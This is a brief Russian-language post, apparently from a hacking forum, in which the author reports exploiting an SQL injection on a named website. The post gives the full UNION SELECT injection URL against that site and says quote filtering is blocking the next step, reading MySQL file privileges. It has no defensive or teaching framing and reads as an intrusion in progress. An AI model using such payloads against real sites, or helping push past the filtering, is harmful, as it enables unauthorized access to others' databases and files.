Скулю обработал - http://pcmcia.ru/?do=form&id=2+and+1=0+union+select+1,2,3,4,5,6,7,8 ,9,10,11+--+

но запара - фильтрация кавычек - file_priv считать ну никак не получается